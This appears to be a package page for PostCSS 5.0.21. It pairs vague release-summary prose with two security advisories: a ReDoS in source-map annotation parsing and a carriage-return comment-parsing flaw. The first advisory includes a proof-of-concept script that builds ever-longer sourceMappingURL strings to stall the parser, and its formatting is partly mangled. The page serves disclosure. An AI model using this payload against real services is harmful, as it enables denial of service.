PostCSS version 5.0.21 is a minor update to the popular JavaScript tool for transforming styles, building upon the foundation laid by version 5.0.20. For developers using PostCSS, the core functionality of transforming CSS with JS plugins remains identical between the two versions as dependencies like js-base64, source-map, and supports-color stay consistent. The update mainly focuses on internal improvements and potential bug fixes reflecting a stable release with refined code and processes. This ensures a smoother and more reliable experience when processing CSS workflows.
The devDependencies section, crucial for those contributing to PostCSS or extending it, is also unchanged. This indicates that the build process, testing environment, and code quality checks use the same tools and configurations, like eslint, mocha, and Babel presets, as the previous version. Developers can continue to use the same development workflow and expect consistent results when contributing or building custom plugins.
The primary difference lies in the releaseDate, indicating a newer build containing possible patches or under-the-hood enhancements making users benefit from updated dependencies and stability improvements. While no specific changes are highlighted, the minor version bump suggests bug fixes and small refinements for a robust and reliable PostCSS experience. Users updating from 5.0.20 can expect a seamless transition without major breaking changes, ensuring compatibility with existing projects and plugins. Regular updates like theses are essential for maintaining a robust and secure development and runtime environment.
All the vulnerabilities related to the version 5.0.21 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.